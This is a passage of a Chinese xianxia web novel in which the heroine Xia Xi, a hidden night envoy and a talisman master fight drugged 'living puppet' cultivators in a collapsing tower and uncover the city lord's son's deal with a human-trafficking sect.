“一千二。” “一千五。” …… 这颗红宝石最终以八千两的价格被拍下。 王家的物价和城主的珠宝拍卖物价相比,简直是小巫见大巫。 拍卖品流水般登场,又如流水般撤下。 期间李玉娇和李逸臣各拍下一件珠宝,二者的价格吊打 10. 第 10 章 [] 裴朝行从昏迷中苏醒时,发现背靠某样坚硬笔直的事物,通过触感判断,他应该是被绑在了类似柱子一样的东西身上。 今日发生的种种,都在告诉裴朝行绑架他的人会有大动作,这大动作会是什么,他不得而知。 屏气凝神,试图调动体内灵气,却和任何之前一样,灵气凝滞分寸不动,甚至比前两日调动时更为艰涩难忍。 很显然,为了今天的大动作,那些人用的药比以往的还要烈。 他的身体瘫软无力,光是调动灵气一举就耗费大半力气,更别提挣扎脱身。 脑子里时不时针扎一下,眩晕感再度袭来,就在裴朝行即将昏睡的时候,有沉重的脚步声靠近了这里,于是整个人激灵似得般浑噩半清醒过来。 是谁? 脚步声沉重麻木,如同背着重物行走。 普通人背重物通常都会发出粗重的呼吸声,但这个人除了脚步声之外,竟什么声音都没发出。 到底是怎么回事? 脚步声从左到右,又从右到左,最后消失,仿佛就为了背着重物过来就是来回散步。 裴朝行又等了许久,紧绷着的精神逐渐松懈下来,也没听见别的声音再出现。 药劲再度翻涌,他听见自己的呼吸逐渐放浅,意识开始浑浑噩噩,全身的力气被抽空,连听声音都变得极为困难。 裴朝行再次昏迷过去。 … 夏溪在黑暗中行走。 到处都是遮挡视线的珠帘,明月楼地形错综复杂,稍有不慎就会回到原处。 她无法保证符师是不是也跟进来了明月楼,当务之急是先找个藏身之处,最好是一个能两头跑的地方。 借着月光,她摸到一间平平无奇的房间,正欲推门进去的时候——发现门锁着。 门把手用比拳头还大的锁头锁着,明晃晃地告诉别人此房勿进。 一路走来,不少房间都锁着,像眼前用这么大的锁头锁着的房间,她还是第一次见。 面对这间明显存放着珍宝贵物的房间,夏溪果断——扭头就走了。 开玩笑,明知有问题还去探究,真当她是傻子吗? 就算真的想去探究,也不该在被人追杀的情况下去探究。 自己可没那么多命折腾。 夏溪飞快地离开了。 没多久,一个身材高大的黑衣人经过了此处,他看了看那个大锁头,一言不发地离开了。 又过了一会,更夫站在了门前,他迟疑片刻,用敲梆子的木槌轻轻一敲,锁头从中间裂成两半。 更夫推门进去,发现了里面空空荡荡的,什么都没有。 他啧了一声,转身离开。 另一边,夏溪已经成功躲进一间房中。 此房不起眼、能反锁、有窗户,十分合适用来躲藏,她没有丝毫犹豫地躲进床底,只要等到天亮,城中人多难下手,符师自然会离开。 “咔嚓。” 微弱动静在门后响起,夏溪悄悄地捏紧了手中的剑。 一块地砖动了动,随后被人从下往上地撬开顶到旁边,一盏小小的煤油灯递了出来,然后一个身材魁梧的男人从地洞里翻身出来。 男人蹲在地上,从地洞里掏出三个大黑麻袋,接着又伸手把同伙拉了出来。 夏溪听见他说:“矮子在干什么?怎么突然要我们把人给转移?” 同伙沉默。 男人啐了一口:“走,我们去看发生了什么。” 两人把黑麻袋丢到角落,咔嚓一声给房门落了锁,头也不回地走了。 夏溪等了一会,没忍住从床底下出来。 他们刚刚说的是‘把人给转移’,可搬出来的是几个黑麻袋,这是不是说明…… 黑麻袋是普通的黑麻袋,顶端捆得紧紧,夏溪不敢贸然解开,而是用剑鞘戳了戳麻袋。 麻袋无动于衷。 剑鞘顺着麻袋轮廓,逐渐勾勒出一个人被反剪双手、双腿屈起的形状。 凑近了听,还能听见微弱的气息。 真的是人。 夏溪不知道那两个人是谁,但能把活人买卖做到明月楼来,说明他们背后的人很有分量。 “哒哒哒。”又是脚步声走过来。 夏溪重新回到床底, 是锁头打开的声音,是那两个人又回来了。 身材魁梧的男人走了进来,但他的同伙却站在门外,男人见状问道:“你怎么了?” 同伙朝着一个方向抬手——食指和中指合并——一道锋利气息径直朝着床底奔来! 草! 夏溪当即拔剑,以剑气格挡,却仍被气息逼迫地连连后退数步。 “什么人!”男人飞快地掏出一根烟卷拿在手中。 二对一,我吃亏。 夏溪立即掉头,长剑一划,破窗而逃的熟练点再次上升。 “别跑!” 男人追了几步,见同伙无动于衷,又忍不住道:“你和我一起追!” 同伙指地上的几个黑麻袋。 “操,别管这几个了,大货还在下面呢!” 同伙这才和男人追着夏溪而去。 攻击声和破窗声吸引了黑暗中行走的几人,不约而同地朝着声音来源而去。 明月楼每层楼都加高过,夏溪猫着腰,熟练地御剑飞行在楼间。 男人和同伙紧追其后,他们没有剑,御得是一根变大的烟卷。 同伙坐在前面,双手的食指和中指合并,凌厉气息不断迸出,每条都招呼向夏溪的要害。 她看出来了,这两人和师不是一伙的,只是自己倒霉,不慎撞见黑暗势力在活人买卖,被他们的打手追着打罢了。 可恶啊,金丹三段的修士在修仙世界怎么可能这么弱! 夏溪愤怒,夏溪出招,夏溪被同伙的气息削断一截衣袖,夏溪狼狈逃跑。 好她承认她是个菜鸡。 修士通常都是将灵气附着在武器上,将两者合二为一使得攻击力最大化。 可开打到现在,同伙仅是用手调动灵气攻击,就能将夏溪摁着打,若是用了武器…… 跑,不丢脸,死,才丢脸。 夏溪眼尖地发现不远处有一扇窗户,正想飞过去的时候,几张黄底红纹的符箓再次抵达眼前! “轰隆隆!” 爆炸声再次响起,气浪直接冲破几扇窗,木屑伴随着燃烧着的纸,洋洋洒洒地飞了出去。 明月楼附近的居民被爆炸声惊醒,他们来到院中,看见往日精美的楼阁破了几个大洞。 凭借在修真界生活的直觉,居民们纷纷远离明月楼,有人去给城主汇报,有人站在安全地带远远的看热闹。< 11. 第 11 章 [] 更夫没有去追逃跑的同伙,拖着三个麻袋朝符师走来。 符师见状不妙,转头就跑了。 可更夫的脚步仍然没停下,他径直地走向夏溪。 完了完了完了! 怎么前有狼后有虎啊! 虽然不知道他想干什么,但这人果然是要弄死我吧! 夏溪在心中疯狂哀嚎,更夫朝她伸出手,吓得她赶紧把闭上眼睛—— 头皮一松,半边头发倾泄下来。 等了许久也没等到后续,夏溪睁开眼睛,看见更夫手里拿着一根簪子,正是之前拍下的紫云百花簪。 参加城主拍卖会时,李玉娇不停地用金缕面具阴阳怪气夏溪的簪子不够格,她当场就戴上它在她面前晃悠,气得李玉娇差点咬碎一口银牙。 出来练剑时,夏溪便随手把它戴在了头上。 更夫把玩着那根簪子,粗糙指腹摩挲着上面的细细花纹。 他冷哼一声:“人死了这么久,东西居然还留在这世上。” 夏溪:?! 这是什么狗血戏码。 经常看小说的人都知道,有种套路叫xx随手买的东西是顶级法宝,此法宝看着平平无奇,却总能在关键时候爆发出惊人效果。 套路是俗,可发生在自己身上就是爽! 更别说看更夫这样,夏溪敢断定,紫云百花簪定是他认识的人打造之物,否则不可能隔着老远还能一眼认出。 妈呀,好狗血,好套路,好喜欢! 待摩挲够了,更夫又把簪子插回夏溪的头上:‘“戴着吧,漂亮的东西不戴白不戴。” 他随手一撕符箓,夏溪马上拿回了身体控制权。 她双手抱拳:“多谢前辈救命之恩。” 更夫细细端详了片刻,问:“你做了什么事,竟让沉银阁发布了杀人任务?” “我什么都没做,是他们脑子有病想杀我。”夏溪道,“前辈你若是不信,找人打听打听便知。” 更夫哼一身,原地坐下,伸手解开一个麻袋的捆绑带。 夏溪见状,提剑想要解开另外两个麻袋的顶端,剑尖还没碰到,就被更夫制止了:“里面贴了反剑符,你要是敢用,里面的人就被炸飞了。” 她心中一凛。 学着更夫的模样,空手将黑麻袋解开,里面果然贴着几张黄底红纹的符箓,以及装着一个被五花大绑、嘴巴塞着破布条的人。 三个麻袋被解开,装着的都是一个昏迷的人和几张符箓,更夫把符箓全都收进自己的芥子袋,又点了其中一个人身上的几个穴位,对方的眼睛就睁开了。 “救救我……救救我……”许久没有合上的嘴巴让他说话断断续续的,“我是……的人,刚激发灵力就被绑……救救我……” 半截话头还没说完,这个刚清醒的人又昏了过去。 夏溪大着胆子问更夫:“前辈,这是怎么回事?” 更夫长叹一声,将昏迷的人放倒在地:“你知道人蛇阁吗?” 人蛇,一个陌生又熟悉的名词。 夏溪想了很久,才问道:“他们是从别的地方偷渡过来的?” “什么脑子!”更夫暼她一眼,“少乌宗的教育这么落后的吗?” 沉银阁是地境东大洲最大的邪修宗门,只要是有点资历的修士,都知道它的名号。 而人蛇阁比沉银阁还要臭名昭著,影响范围更是扩大到整个地境,甚至有人在人境也见过他们的人。 人蛇阁的业务范围不比沉银阁,他们只做‘修士’生意。 地境三洲,每天都有许许多多的修士诞生,其中断然不乏独身之人。 人蛇阁盯上的就是这类修士。 趁修士还没长成,他们将他绑来,喂服某种秘药,再将之转手卖出去。 秘药不会影响修士锻炼,却会让他们丧失自我,变成主人说什么就做什么的活木偶。 如果更夫没有猜错,那个不顾男人私自逃跑的同伙就是一个‘活木偶’,而他的主人恐怕还在明月楼里。 夏溪愣住了。 随着更夫的解释,她隐隐约约回想起来了。 作为一个影响到三境之一的势力,人蛇阁曾在书里出现过,它是裴朝行为了还人情,而参与过的一个升级副本。 即使是修仙界,人蛇阁干的也是天理难容的事情,在未来某个时间,地境里许多的国度宗门世家会联手,将人蛇阁总址分部尽数剿杀。 作为主角,裴朝行的对手自然是人蛇阁阁主,二人实力悬殊,可他硬是吊着一口气,让阁主死在了自己手上。 至此,裴朝行一战成名。 回想起一切的夏溪心情复杂。 裴朝行不愧是天道亲儿子,许多势力联手才能清理的大势力之主,也不过是他升级路上的一个boss。 她道:“那前辈你出现在这里是?” “机密任务,不予告知。” 哦,行吧,她也不是很想知道,就随口一问而已,真当真了啊。 虽说对方是为了簪子顺手救下自己,可救了就是救了,夏溪捏不住能不能帮上忙,老老实实地问:“我的修为是金丹三段,前辈可有哪里要吩咐?” “还算会来事,”更夫给了夏溪一张地图和一枚竹哨,“这是明月楼的建造图纸,你去楼上看有没有什么异常,我到下面去,有什么事及时吹响口哨。” 夏溪沉默片刻:“……前辈,如果我不慎撞见那个控制活人偶的人,你觉得我有时间吹响哨子吗?” 刚死里逃生,她是真的不想再去一趟鬼门关。 不曾想,更夫竟然露出一抹笑意:“放心的去吧,要是你连他都打不过,那你还是别走修仙路了,回去找个人嫁了吧。” 言罢,径直地离开了。 夏溪黑人问号脸。 更夫的话明示了她绝对打得过控制活人偶的主人,可主人是人蛇阁的成员,怎会如此轻易被人打败? 抱着这样的疑问,夏溪开始往楼上走。 明月楼只有五层,她在二楼和更夫分别,战战兢兢地搜了三楼和四楼,什么都没有发生。 掀开珠帘,夏溪迈入五楼。 相比起其他楼层,五楼的面积要小一点,房间也只有三间。 她打开第一间房,里面陈设精美,布置错落有致,窗户没有关紧,使得月光从狭窄缝悄悄爬了进来。 夏溪没有走进去,而是站在门口,警惕地看着角落里的那个黑影。 拜月光所赐,她清晰看见了对方,那是一个身材高大的黑衣女子,剃着寸头,脸上有深深浅浅的几道疤痕。 女人靠墙坐着,目光呆滞,若不是胸膛微弱起伏,夏溪都要以为她是死人。 倏然,女人的眼珠转动,和她对上目光。 夏溪后退一步,与之拉开距离。 下一瞬间,女人冲了过来,长腿一扫,带起的强风让夏溪极为错愕。 这不是凡人该有的力量,难道她是个修士?! 刹那间,夏溪想起更夫说过的话——被人蛇阁喂过药的修士,不影响修炼,却会变成人偶。 这个女人是活人偶! 女人赤手空拳,她的每一次挥动,带起来的风几乎能割伤夏溪肌肤,可见在修炼一事上用足了功夫。 她的反应速度远在夏溪之上,每当挥剑过去,女人都能及时避开,同时还能找到破绽反击回去。 活人偶都是刚显露修仙之才就被控制的修士,夏溪敢肯定,如果女人没有被人蛇阁捉住,没有被喂药,未来的修仙大能必然有她的名字! 但现在,女人只能作为黑暗中一具活人偶,攻击着素不相识的夏溪。 明知女人是一具活人偶,她还是忍不住大声说:“你给我清醒一点!” 女人不为所动,挥动的速度反而加快不少。< 12. 第 12 章 [] 城主府灯火通明。 脚步声惊动了李逸臣,他走出院门,看见不少举着火把的侍卫,急匆匆地前往各处城池。 他正想拦人问情况,少城主罗作便出现在拐角处:“李少宗主,有人偷袭古月楼,你可愿意和我一起去看看情况?” 在他身后,是几个带着面巾的黑衣人,以及面有不虞的李玉娇,夏溪却没了踪影。 李逸臣稍作思考,应下了此事。 罗作在前头带路,兄妹跟在后头,李玉娇用仅能两人听见的声音说道:“听到外面有动静的时候,我就去了夏溪的院子里看了,里面没人,但是墙上贴了很多这个。” 她把一个东西悄悄塞进李逸臣手心。 李逸臣侧目一看,是一张黄底红纹的符纸。 夏溪曾经说过,有个符师追了她三天三夜,对方在她进入古月城后便失去了踪迹。 之前一直住客栈都没事,反而刚进城主府就出了事,要说这里面没有猫腻是不可能的。 李逸臣无声地对李玉娇做了个见机行事的嘴型。 他们从城主府出来,还没看进明月楼,就看见外面熙熙攘攘地围了一群人。 见到少城主过来,人群让出一条路。 一个士兵过来汇报情况:“禀报少城主,据现场调查,附近居民都听到了爆炸声。” “你们怎么不进去调查?”罗作的眉头皱起,看上去十分关心明月楼。 “少城主,我们进不去。” “开玩笑,怎么会进不出?” 士兵挥挥手,另一个士兵举起手中的长矛,果断扎向明月楼,不等矛头前进几分,一层结界凭空出现。 结界把明月楼完全覆盖了进去,而随着士兵的攻击,结界身上浮现出一行血红大字—— 夜使办事,闲人勿入。 见到这短短的八个字,罗作的脸色一变。 夜使直属大荒国国主,通常不会露面,一旦露面,便代表着此城有问题,需要国主出手整治。 少乌宗的管辖区域和大荒国接壤,二者属于友好邻居,因此李氏兄妹在见到红字时,默契地站在了罗作身后。 他察觉到兄妹的小举动,藏在袖子里的手悄悄捏住了某件事物。 明月楼地下室里。 此处一片混乱,显然刚刚经历过一场大战。 几个身材高大的黑衣人倒在地上,更夫半边肩膀沾了血,手里还提一个死人头颅。 在他面前是一条向上通行的密道,里面隐约传来窸窸窣窣的声音,似乎有人正在在里面爬行。 “被摆了一道啊……”更夫嘟囔着。 他丢掉人头,重新拿起梆子和木槌,轻轻一敲,磅礴修为伴随着声音展开,竟将四周墙壁震出数条裂纹! “当!” 裂纹扩大,瞬间遍布墙面。 “当!” 承重柱开始碎裂,大块大块的碎片掉了下来。 “当!” 墙面和承重柱同时碎裂,化作齑粉漫起漫天尘埃。 整层地下室化作齑粉,失去部分重心的明月楼发出巨大的哀嚎,整栋楼不受控制的往旁边倾斜而去。 “轰隆隆!” 震动从地下传到五楼,夏溪刚要打开第二间房,就被晃得站不稳。 她抓住栏杆稳住身形,等了好一会,晃动才停了下来,地面也开始歪斜,显然楼体重心出了问题。 不远处的珠帘突然发出碰撞声,似乎有什么人在快速经过。 是谁? 过往大量案例告诉夏溪,现在要是贸然追过去,极为容易掉进敌人的陷阱。 她冷静地拿出竹哨,正要吹响它,便看见更夫出现在来时的走廊, 他肩上有血,慢悠悠地走过来,见到脸上带血(女人蹭的)、胸口有血(自己吐的)、周身狼狈的夏溪。 不远处,女人的尸体还躺在地上。 “没出息,一个人就搞成这个样子。” 夏溪:…… 夏溪:“前辈,我只是金丹三段的修士,你不能对我期望太高。” 更夫冷哼一声,背着身慢悠悠地往前走:“我去前面的房间,你去后面的。” 他说得便是五楼剩下的两间房。 看来更夫在下面的楼层没有大收获。 夏溪默默回到第二间房面前。 第二间房原先挂着锁头,现在裂成两半掉在地上,是她刚刚劈开的却因为震动没能进去的。 她深呼吸一口气,默默地推门进去。 里面的家具东倒西歪,摆件挂画掉了一地,一个赤/裸上半身、腰间仅围着一块布的少年站在中间。 他的黑发凌乱,额头绑着一块长方形的黑布,将五官尽数遮挡。 对方手里提着一把剑,些许火苗在手与剑柄的贴合处冒了出来。 这个人是火系修士,搞不好还是个活人偶。 第一间房的女人完全是赤手空拳,仅凭体术就差点把自己打死。 眼前的少年不仅有火系根基,手里还有武器,胜算……夏溪不敢想,不如先稳住他,等更夫检查完第一间房再说。 刚刚就是因为和女人对视才攻了过来,因此她没有乱动,定定地站在门口。 空气一下子安静下来。 两人相对而立,却相对无言。 另一边。 检查完第一间房的更夫一无所获,他正回去找夏溪的时候,一个人突兀地出现在门口。 正是之前丢下男人逃跑的同伙,他面无表情,手里拿着一把大刀。 很显然,是刚刚没能抓到的老鼠趁空隙给他武器。 微弱寒气从他手里迸发。 这是一个冰系修士。 更夫深深地叹了口气,同时双手解下腰间的梆子和木槌:“真是的,就不能让老年人休息一下吗?” 话音未落,同伙便飞奔了过来。 若此时有外人在场,并能正好看清第一、第二间房的话,就能看见在同伙攻击更夫的同时,夏溪面前的少年也悍然出手! 火鞭扑面而来,炽热高温几乎连空气都变得扭曲几分。 夏溪堪堪躲过攻击,她调动灵力,将其覆盖在自己和长剑之上。 她像只灵巧的春雀儿,借助倾斜的家具不断躲避攻击,同时还能见缝插针的偷袭少年。 几番打斗下来,夏溪能明显感觉到少年的实战经验不多,他只是用在远超自己且源源不断的灵力去挥霍火焰。 并且明月楼内木料众多,少年的每一次攻击,都会留下簇蔟火苗,若是置之不理,迟早会演变成燃烧这座小楼的熊熊火海—— 但关我屁事! 没有什么比得过我这条烂命! 夏溪的躲藏处被少年发现,对方宛若灵活的蛇,顷刻间闪击到身后。 挟裹着火焰的长剑狠狠砍了下来。 “铮!” 两道长剑互相碰撞发出极为刺耳的声音。 少年是从上往下攻击的,因此夏溪所承受的冲击力比普通攻击还要强劲。 她往右边倾斜泄力,却被少年看准缝隙用力一踹——可怜的腹部再次攻击。 夏溪吐出一口血。 *的这些活人偶怎么都喜欢就踢别人肚子啊! 这一脚少年用足了力气,使得夏溪连滚几圈才停下来。 没有一丝喘息的机会,少年再度冲了过来,他高高跃起,攀附长剑的火焰遽然蹿升,飞出的火花眨眼间点燃房梁。 “轰隆!” 火苗四溅,破木和碎屑齐飞,漫天的尘埃之中,仅有一人站立。 少年先是盯着空无一人的地面,随后才跟着地上的血迹看去——外面是敞开着的窗户。 他快步上前,单手一撑,整个人跃出窗外,接着猛回头,看见半截发尾消失在屋顶。 趁少年跳起还没落下的刹那滞空,夏溪调动出残存无几的灵力,将其全数用在长剑身上,继而仓惶逃离战场。 逃跑怎么了? 能从比自己还强大的人手里逃命并活下来,怎么就不是一种本事? 她本想直接逃离明月楼的,可不知为何,明月楼 13. 第 13 章 [] 火焰狠狠地砸了下来。 瓦片和砖块齐飞,一大片屋顶被火焰掀开,露出一间空荡荡的大堂。 那一击裴朝行用了十足力道,夏溪堪堪躲过,却因失去支撑点掉了下去。 她爬起来,发现自己掉到走廊,旁边正是一扇没有门的房间。 里面,是浑身浴血的更夫,他手里还拿着一根断手。 随着烟尘散去,夏溪也看见了他脚边还躺着一具尸体,正是之前独自离开的男人同伙。 她心中一凛。 更夫的随便一击,就能让追杀她的符师主动退避,现在却因为一个活人偶搞得浑身是伤,如果每个活人偶都这么强、如果人蛇阁手里有许许多多的活人偶…… 她的心凉了半分。 “噗嗤。” 灼烧感再度袭来,夏溪半边袖子给烧没了,整个人连滚带爬地往前逃。 她忍不住大叫:“前辈,救命啊!” 更夫抬头看了一眼,声音洪亮:“躲了这么久,该出来干活了吧?” 夏溪:? 谁?谁要出来干活? 灼烧感继续出现,她还没来得及躲避,一张黄底红纹的符箓轻飘飘地挡住了攻击。 一个人影出现在尘雾当中,惊得毫无理智可言的裴朝行后退一步,摆出防御姿态。 早就逃走的符师站在走廊另一头,她脸上挂着尴尬的笑:“哎呀,刚刚一不小心睡着了,竟然一点也不知道前辈和这位小姑娘联手干活呢。” ……这借口也太烂了! 夏溪知道明月楼有结界,却不知道在符师退场时就已经存在。 见到符师出场,她立刻闪到一边,将战场交给符师。 虽然不知道裴朝行为什么会出现在古月城,但他作为男主,未来还有很长的路要走,肯定不会这么快折断在这里。 此时的裴朝行似乎察觉到符师不好惹,竟然无师自通夏溪的招牌技能——转身就跑。 符师嘴角抽搐,几个箭步揪住夏溪的后衣领:“前辈,那个活人偶跑得太快了,我带这丫头去帮忙应该没事吧?” 夏溪挣扎起来:“前辈,她可是带着任务要来杀我的人啊!” 更夫把断手丢到符师面前:“你再说一遍。” 符师恨恨地瞪夏溪一眼,转头去追裴朝行。 夏溪侥幸逃过一劫,刚歇口气,更夫就招手让她过去。 他指着地上的死尸:“我本以为这是最后一个被控制的活人偶,但是现在外面还有一个,明月楼早就被我的法宝给困住,进不来出不去,说明控制活人偶的主人还在楼里。” “来五楼之前,我曾和他交过手,可惜当时被活人偶拖住,让他钻密道逃了,你认真想想,你当时撞见搬运活人的时候,对方身上是否有什么特殊之处?” 更夫问的是夏溪躲避符师时撞见男人与同伙搬运黑麻袋时的场景。 她认真回想了一下,摇摇头说:“并无特殊之处。” “你再好好想想,不一定要特殊之处,当时他们出现的位置、动作、随身携带了什么东西都可以说。” 经由更夫的提醒,夏溪终于回想起来哪里不对劲了:“他们出现在的位置有点奇怪。” 密道为了起隐蔽作用,通常会把出入口放在隐秘处,比如大挂画或者古玩柜后面,但男人却是从门后面的地砖下出来的。 门口附近来往人多,若是听觉灵敏些的人走过几次,就能听出脚下的地板有问题。 可男人不仅能从门口后面的密道出现,甚至还能带着同伙搬运活人,这就大有问题了啊。 更夫让夏溪拿出明月楼的建造图纸,就着死尸的鲜血,将男人出现的位置、地下室的逃跑密道和五楼连在一起,竟正好形一条弯弯折折的密道。 要想从地下室密道爬到五楼,途中必会经过男人出现的位置。 地下室已经被更夫弄塌,五楼又有他们看守,控制裴朝行的人必定躲在一至四楼的密道之间。 一想到即将能把幕后黑手抓到,夏溪顿时兴奋起来:“看来我们胜利在望!” 更夫心情极好,并未说任何打击她的话。 两人在五楼的房间找了一圈(期间楼下不断传来爆炸声),最终在第二间房找到一条小小的密道。 碍于更夫的任务,控制活木偶的人最好能留个活口。 两人商议片刻,最终由更夫到一楼赶人,夏溪留守五楼密道口,届时不管是谁从密道里出来,她一剑捅过去就行。 没多久,隐隐约约的,有窸窸窣窣的声音从密道口传来。 夏溪屏住气息,全身隐于黑暗,手中长剑剑尖始终指向前方。 声音越来越靠近,握住剑柄的手也突出条条青筋。 一个黑影飞快地蹿了出来。 夏溪毫不犹豫地捅了过去! “噗嗤。” 鲜血沿着脏兮兮的长剑流下来。 裴朝行一手抱着个矮小男人,一手抓住夏溪捅来的剑,后者的剑正好没入他的额头分寸。 几缕鲜血滑过鼻梁,顺着下颌掉在地面。 矮小男人似乎意识到什么,忽然一脚踹开了他,头也不回地跳出窗户。 可逃跑是夏溪的拿手好戏,她顾不上裴朝行,三下两下擒住矮小男人。 在她身后,裴朝行爆发出尖锐哀嚎。 他和之前那个女人一样,双手用力抠着额头上的伤口,即便是血肉模糊,夏溪也能看见里面有两条蛊虫。 凄厉尖叫中,夏溪听见密道里再次传来声音,紧接着,一张轻飘飘的符箓飘了出来—— 爆炸符,虽迟但到。 “轰隆!” 夏溪已经记不清自己是第几次飞了出去,原本已经被捉住的矮子男人也脱手而出。 今晚的明月楼承受了太多它不应该承受的,前有符师和更夫的造作,后有夏溪溜裴朝行到处放火。 这一次的爆炸像压倒骆驼的最后一根草,终于击毁了明月楼五楼。 墙面和屋顶大块大块倒了下来,地面开始塌陷,一片震耳欲聋的坍塌声中,夏溪听见符师气急败坏的声音:“这楼怎么那么豆腐渣啊!!!” 五楼连带屋顶的塌陷力度太大,很快就使得脆弱的三楼与四楼也跟着产生断裂,和五楼一样当场分崩离析。 “轰隆隆……” 尘烟四起,残骸满地,曾经精美无比的五层小楼如今浓烟滚滚,不复往日的精美细致。 夏溪灰头土脸地从角落爬了出来,幸好她有丰富的逃跑经验,意识到明月楼真的要塌之后,即刻就用灵力载着自己躲到安全地带,这才侥幸逃过一劫。 明月楼本就是歪的,现在塌了反而像个挖空的椰子一般,露出面积最大的大堂。 大堂边缘,矮小男人被一条承重柱压着腿,整个人陷入昏迷。 夏溪随手扯来几条掉光珍珠的丝线,直接捆住他的手。 幕后黑手终于抓到,精疲力尽的夏溪坐了下来,她全身都在痛,尤其是今晚波折不断的胸腹,挨了那么多脚,恐怕肋骨早就断了。 “哗啦。” 符师从一堆碎石块里站起来,她全身乱糟糟的,见到夏溪也没力气杀她,只道:“那位前辈呢?” 夏溪和符师找了一下,将更夫从一块木头下拖了出来,他的额头有血,应该是被砸晕过去,不等她们喘口气,一只手突然从另一边伸了出来。 全身脏污泥泞的裴朝行出现在面前。 他手里还拿着柄女子佩剑,看上去似乎随时准备攻击别人。 符 14. 第 14 章 [] 结界外。 罗作见到明月路开始坍塌的一瞬间,瞳孔一缩。 这可是他家出钱造的楼啊!!! 即使再心痛难忍,他也捂住胸口快步向城主府走去:“不行……我爹怎么还没来?我要把这件事告诉他!” 李逸臣往前一步,拦下即将离开的他:“罗少城主,此处如此混乱,还是作为少城主的你留下比较好,我去找城主说清此事。” 一而再再三的被阻拦,罗作大怒:“李逸臣,你别太过分了!” “我看是少城主你比较过分吧!”李逸臣反唇相讥,“明月楼坍塌,身为少城主的你不留下善后,反而一个劲地想要离开这里,居的到底是什么心?” “这里是我大荒国古月城,我作为少城主自然是想做什么就做什么,何时用得着听你少乌宗的安排!” “明月楼里还有我生死未知的师妹,我管管也在情理之中!” 罗作争辩不过,惊怒之下负气甩袖,反而让袖子中的某件东西飞了出来,被一旁眼疾手快的李玉娇一剑劈下。 一条小小的蛊虫尸体掉在地上。 与此同时,结界内传出一道声音:“我把蛊虫逼出身体,你们把剩下的全解决了!” 三人不约而同地看过去。 发现明月楼不知何时停下坍塌,几个人出现在里面。 李玉娇眼力好,一眼看见从矮小男人身下蹿出来的蛊虫,密密麻麻的让人头皮发麻:“这虫和里面的虫是一样的!” 罗作转身就想逃,可他不是修士,当即就被李逸臣控制住了。 李逸臣皮笑肉不笑:“烦请少城主给我个合理的解释!” 话音刚落,结界里突然传来一阵巨响,连带着站在外围的李逸臣几人都被晃得身形不稳。 他们看向明月楼,只见里面烈焰灼灼,大火无情地吞噬着一切,方才还活生生的人现在却生死未卜。 李玉娇面色惨白,还没来得及说点什么,就听见李逸臣说:“结界还在,火不会烧到外面来,我们先把附近控制住,妹妹,你去把城主请过来。” 事发这么久,古月城城主却始终没有露面,甚至一丝消息都没透露出来,恐怕对方早就出事了。 周围士兵多数是凡人,见李逸臣控制住少城主也不敢出言制止或阻拦,只能默默看着李玉娇御剑离开。 过了好一会时间,她才回来,面色还十分古怪:“城主府里没有城主,我还问过府里的其他人,他们说城主和他女儿从两天前开始就不见了,只留下封信交代说一切都交给儿子罗作管理。” 两天前,正是李氏兄妹进城的那一天,同时也是城门比往常时候还要晚开的那一天。 看来城主出事的时间要比想象中得早。 李逸臣正想开口,就将李玉娇看着自己身后:“结界消失了!” 自事发起,就一直笼罩在明月楼外层的结界逐渐变淡,这说明布下结界的人回收了它。 一直悬挂在高空的两个快板缓缓落下,回到自己的主人手里。 就烧得旺盛的烈火也尽数回收,留下满地的坑坑洼洼。 几个人从废墟中走了出来。 分别是墨蓝色衣裙的少女、一个身材消瘦的少年、一个左脸上有胎记的中年女人以及拿着梆子和木槌的中老男人,噢,还有个生死不明的矮小男人被中老年男人拎在手上。 “夏溪你居然还活着!”李玉娇诧异出声,“我还以为你……” “你是不是以为我死了?”夏溪的声音透着浓浓的虚弱,现在的她全靠一口气撑着,“快别说了,过来搭把手……” 李玉娇别扭着过来,别别扭扭地搭着她的手:“没有下次,要不是你死了我回去会被骂,谁会搭理你啊!” 跟着的符师嘴巴都在哆嗦:“小姑娘,你要是愿意,可以把夏姑娘让我背着。” 李玉娇立即就想撂手,就听见夏溪凉凉一句:“她就是那个追了我三天三夜都没停过手的符师……” 李玉娇:…… 同一时间,李逸臣压着罗作来到更夫面前:“敢问可是夜使前辈?” 作为金丹圆满只差一步进阶元婴的修士,他敏锐察觉到了对方身上散发出来的强大气场, 虽然不知道具体经过,但明月楼一事绝对少不了他的手笔。 更夫斜睨罗作一眼,后者低下头不敢与之对视。 他道:“先去城主府吧,有什么话晚点再说。” ** 天边初晓,古月城不少居民都凑到明月楼边,叽叽喳喳讨论着昨晚发生的大事。 城主府大堂里。 彻夜未睡的相关人员坐在此处,了解明月楼事件始末。 几个月前,大荒国发生了好几起修士失踪事件,涉及人员数量高达几十名。 国主极为愤怒,派出数名夜使调查此事,王仁正是其中一个。 王仁查到失踪案里有人蛇阁的手笔,他追着线索来到古月城,为了不引人瞩目,他伪装成一名更夫留了下来。 一段时间后,王仁发现另一位更夫踪迹有疑,经过盘问后得知对方就是人蛇阁的外围成员,专门给其他人望风和传递消息。 于是王仁干掉了他,代替对方成为人蛇阁底层成员之一。 原本以为要等很久才能碰上人蛇阁的修士买卖,结果没多久就传出消息,说有人抓到‘大货’要来古月城交易。 王王仁耐心等着,终于被他等到‘大货’交易的时候,却没想到被突然出现的夏溪和符师横插一脚,因此才有了今晚发生的一切。 “前辈你们又是如何从那场大火中活下来的呢?”李玉娇忍不住问,“那场火那么大……” “这还得多谢我们这位‘大货’兄弟呀!”符师笑嘻嘻地回答,“要不是他的伴生结界,我们能不能活下来这都能难说。” 人蛇阁的‘大货’正是裴朝行。 他的爆种引发天地异象,被潜伏在满月城的人蛇阁成员注意到,直接将他绑来古月城进行售卖。 火龙卷爆发的同一时间,裴朝行就打开伴生结界,将在场者全都罩进来,直到蛊虫全部消失才收回去。 由于火焰隔绝视线,再加上外面还有一层结界,因此李氏兄妹并没能看见裴朝行的伴生结界。 一个疑惑刚被解开,李玉娇又有新的疑惑问出来了:“那城主和他的女儿去哪了?我听说他们消失好几天了。” 人蛇阁之所以能在明月楼交易,正是因为背后有罗作撑腰。 罗作为求一己之私,背着罗城主和人蛇阁合作,罗城主知道后大怒,与罗作争执间被推了一把,脑袋磕到桌角当场离世。 恰逢人蛇阁的人在场,他们和罗作一起将罗城主的尸体藏于冰窖。 然而城门钥匙是每天都要从城主手里拿的,罗作因为杀死亲爹心中大乱,因此才有李氏兄妹发现城门开门时间不对的那一幕。 至于护城大阵就更简单了,罗家女儿发现亲爹和罗作吵架后失踪,趁罗作去主持珠宝拍卖会后悄悄打开的,所以夏溪才逃不出古月城。 